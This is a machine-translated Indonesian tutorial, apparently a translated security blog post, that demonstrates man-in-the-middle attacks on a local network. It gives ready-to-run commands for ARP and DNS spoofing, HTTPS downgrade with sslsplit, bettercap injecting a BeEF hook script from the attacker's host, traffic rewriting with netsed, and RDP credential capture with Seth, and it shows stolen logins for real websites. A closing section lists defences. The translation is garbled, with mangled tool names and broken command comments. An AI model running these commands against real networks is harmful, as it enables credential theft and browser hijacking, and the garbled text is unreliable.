Mencegah informasi sensitif? Dapatkan akses tidak sah ke berbagai aplikasi dan sistem? Ganggu operasi normal? Semua ini dan banyak lagi melakukan serangan seperti Man in the Middle.
Hari ini kami melanjutkan serangkaian artikel yang ditujukan untuk serangan "man in the middle" (dan sejumlah artikel terkait) pada protokol dan saluran transmisi tipikal yang ditemukan di hampir semua perusahaan. Pertimbangkan tingkat minat yang jauh lebih besar bagi penyerang: dari jaringan ke aplikasi.
Tertarik? Selamat datang di kucing.
Ingat
Jadi, pada artikel sebelumnya, kami fokus pada serangan spoofing di lingkungan berkabel dan nirkabel, menunjukkan teknik untuk memonitor permintaan dan respons ke server DNS. DNS dipilih karena suatu alasan - ini adalah salah satu tujuan utama. Mengapa Semuanya sederhana - hampir semua sesi sekarang dimulai dengan permintaan untuk alamat IP dari host target pada server DNS.
Hari ini kami akan menunjukkan serangan "pada tembaga", tetapi untuk Wi-Fi yang sama praktis tidak ada perubahan kecuali beberapa nuansa. Kami mengabaikan pemasangan ke optik, karena vektor serangan ini sangat mahal dan membutuhkan peralatan khusus.
Untuk mulai dengan, kami tertarik pada intersepsi "tidak terlihat" dari permintaan DNS. Saya akan menggunakan beberapa utilitas berikut:
DNS2Proxy (utilitas telah ada selama bertahun-tahun, tetapi masih cukup siap tempur) dan
arpspoof (juga tidak muda).
Kami meluncurkan:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
Sekarang mari kita periksa bagaimana ini mempengaruhi mesin korban dengan melakukan nslookup di domain apa pun:
Nah, korban menerima IP host yang diperlukan oleh penyerang, kemungkinan besar alamat IP lokal perangkat dari mana serangan itu berkembang. Tangkapan layar juga menunjukkan bahwa klien percaya bahwa server DNS yang sah menjawabnya, yang tentu saja agak salah. Bahkan, fungsi utilitas DNS2Proxy cukup luas: Anda dapat menentukan domain spesifik untuk spoofing, atau sebaliknya, Anda menipu semua dengan menambahkan beberapa pengecualian.
Apa selanjutnya Dan kemudian kita perlu menggunakan server web "proxy" yang akan membangun 2 koneksi: satu adalah "proxy" <> simpul yang sah pada jaringan, dan yang kedua adalah korban "proxy" <>. Kami akan menggunakan
SSLsplit .
Kami meluncurkan:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
Kami memeriksa apa yang akan terjadi jika kami mencoba beralih ke beberapa portal otomotif, misalnya,
drom.ru :
Dan kami memiliki koneksi yang tidak terlindungi! Tetapi dengan peringatan: wwww dan webmy.drom.ru ditambahkan sebagai subdomain alih-alih my.drom.ru. Mari kita coba untuk masuk, setelah menggunakan beberapa utilitas untuk melihat lalu lintas transit pada perangkat penyerang. Saya akan menggunakan
net-creds . Kami melihat apa yang ditampilkan di konsol:
Dan kami memiliki nama pengguna / kata sandi, hebat!
Mungkin timbul pertanyaan: "Apa bedanya dengan artikel sebelumnya?" Perbedaannya adalah bahwa tanpa manipulasi ini koneksi HTTPS dibangun, yang membuatnya hampir mustahil untuk mencegat akun. Inilah yang disebut "serangan downgrade".
Semua hal yang sama akan bekerja bahkan dengan bank dan sumber daya lainnya:
Tetapi
TIDAK layak menyalahkan bank bahwa dengan cara ini pengguna dapat "diretas". Mereka tidak dapat melakukan apa pun di sini, karena serangan itu jauh melampaui batas mereka! Bank
TIDAK bisa disalahkan! Selain itu, mereka semua menggunakan 2FA, yang sedikit mengurangi risiko mendapatkan akses.
Harap dicatat: dengan cara ini bahkan HSTS (HTTP Strict Transport Security) dilewati, tetapi tidak untuk semua sumber daya (yang, saya pikir, semua atau hampir semua orang di sini sudah tahu). Sejumlah browser menyimpan daftar domain yang memerlukan koneksi melalui TLS, dan serangan terhadap mereka tidak berdaya. Contoh paling sederhana adalah
google.com , dan daftar lengkap untuk Chromium ada di
sini . Baik Firefox dan Chrome / Chromium tidak akan membangun koneksi HTTP dengannya, melindungi pengguna. Namun, jika penyerang berhasil menambahkan sertifikat yang ditandatangani sendiri "nya" ke root CA yang tepercaya atau, bahkan lebih buruk, tepercaya, tidak ada yang akan membantu, hanya karena browser dan sistem pada awalnya akan menganggap mereka benar-benar sah dan tidak menghasilkan kesalahan. selama pemrosesan mereka. Kasus dengan CA akar tepercaya adalah spesial: ini akan memungkinkan Anda untuk menghasilkan sertifikat untuk setiap domain saat itu juga (ini adalah bagaimana DLP dan alat perlindungan lain yang menganalisis lalu lintas biasanya berfungsi), yang memungkinkan Anda untuk menganalisis koneksi HTTPS tanpa masalah dan pemberitahuan dari browser.
Semua alat yang tercantum di atas sudah usang, karena mereka menggunakan Python2, yang dukungannya akan segera berhenti. Anda dapat menggunakan analog apa pun, misalnya, lebih
baik , yang merupakan "pemanen" dari berbagai alat dan melakukan semua fungsi yang sama yang tercantum di atas, serta sejumlah lainnya. Satu-satunya komentar pada karyanya: versi terbaru tidak ingin "menyelesaikan" semua domain secara default, Anda harus menentukan yang spesifik. Namun, untuk serangan "nyata" ini sudah cukup untuk mata, dan bahkan membantu untuk tidak membuka sebelumnya.
Apa lagi yang diizinkan oleh MitM? Impor JS alias XSS. Dan kemudian ruang lingkup yang luas untuk kreativitas. Mari kita mulai menggunakan lebih baik dan
daging sapi :
Dalam bettercap termasuk:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
Jika kita ingin diimplementasikan pada halaman HTTPS, maka kita mengkonfigurasi dns.proxy juga. Sebagai bagian dari demo, saya hanya akan mengelola HTTP.
Pergi ke
diary.ru dan amati yang berikut di debugger:
Mari kita lihat bagaimana hal-hal di antarmuka web daging sapi:
Sebenarnya, kita sudah selesai, kita "ada di browser". 2 sesi dibuat, mungkin karena fakta bahwa saya membuka halaman lain di latar belakang, tetapi ini bukan masalah. Sekarang Anda dapat mulai
membuat kekacauan untuk mengumpulkan informasi, mengembangkan serangan, dalam beberapa kasus membuka shell atau hanya menambang. Bagian dari fungsionalitas yang mungkin disajikan dalam tangkapan layar di tabel “Pohon Modul”. Untuk pengujian, jalankan tanda terima sidik jari peramban:
Namun, pengembang peramban tidak bodoh dan mencoba menutupi berbagai "lubang" yang memungkinkan akses dengan satu klik jari. Di sisi lain, akses tersebut dapat sangat memudahkan konsolidasi lebih lanjut pada tuan rumah yang diserang.
Mari kita beralih ke serangan terbaru untuk hari ini - spoofing data. Secara umum, serangan ini mengacu pada artikel terpisah, dapat digunakan bahkan ketika mentransfer gambar dari mesin virtual untuk mendapatkan akses (mungkin saya suatu hari nanti akan mengungkapkan topik ini secara lebih rinci), tetapi sekarang kami akan melakukan demonstrasi singkat, misalnya, di situs web yang
ditempelkan.co - sumber daya paling sederhana, memungkinkan untuk beberapa waktu menyediakan akses ke informasi tekstual apa pun. Untuk serangan, kami menggunakan
jaring .
Kami meluncurkan:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
Pada node yang diserang, buka pasted.co, tulis 'Halo' kami, kirim, dapatkan tautan, buka dan lihat 'HACKED' kami. Contohnya sederhana, tetapi, saya pikir, untuk membayangkan bahwa pada prinsipnya adalah mungkin untuk menerapkan serangan semacam itu tidaklah sulit.
Beberapa kata tentang RDP dan MitM
Ada utilitas yang menarik yang disebut
Seth dan, pada kenyataannya, adalah sekelompok aprspoof dan sslstrip, tetapi untuk RDP. Intinya sederhana: ketika mengakses port 3389, Seth bertindak mirip dengan sslstrip dan membangun koneksi sendiri ke node target. Pengguna memasukkan kredensial ... dan Anda bisa berakhir di sana.
Kami meluncurkan:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
Kami mulai pada klien RDP, terhubung ke host RDP (saya terhubung ke server di luar jaringan 192.168.180.0/24) dan masukkan akun. Secara pribadi, setelah tahap ini saya mengalami kesalahan setiap kali, meskipun utilitas harus proksi koneksi, tetapi melakukan bagian terpenting dari pekerjaan:
Kotak yang disorot memiliki kata sandi yang jelas.
Pertahankan diri kita
- Gunakan semua tindakan yang ditunjukkan dalam artikel kami sebelumnya . Ini sangat membantu! Saya secara terpisah akan menambahkan dimasukkannya pengintaian DHCP, yang akan memungkinkan kami untuk menyaring server DHCP tidak sah, yang dapat menyebabkan klien mengirim semua permintaan ke host penyerang, menghindari spoofing arp.
- Jika memungkinkan, gunakan ekstensi seperti HTTPS di mana-mana. Ini akan secara otomatis mengarahkan ulang ke versi https situs jika dimasukkan dalam basis datanya, yang menghindari downgrade HTTPS.
- Untuk DNS, Anda dapat menggunakan DNS-over-TLS / DNS-over-HTTPS atau DNSCrypt. Alatnya tidak sempurna, dukungan bisa sangat menyakitkan, tetapi dalam beberapa kasus ini adalah ukuran perlindungan yang baik.
- Pelajari dan ajarkan keluarga, teman, dan kolega untuk memperhatikan bilah alamat: penting! wwww.drom.ru, pemberitahuan tentang koneksi yang tidak dilindungi pada sumber daya yang “bebas repot” sering kali merupakan pertanda pasti akan adanya beberapa jenis keganjilan dalam jaringan.
Perhatikan anomali dalam sesi RDP: sertifikat yang tidak terduga berubah adalah pertanda buruk.
Itu saja untuk saat ini. Atau tidak? Teman-teman, saya ingin tahu dari Anda, tetapi apakah Anda tertarik dengan serangan terhadap hypervisor dan migrasi mesin? Atau injeksi ke file PE? Menunggu komentar dan pertanyaan Anda!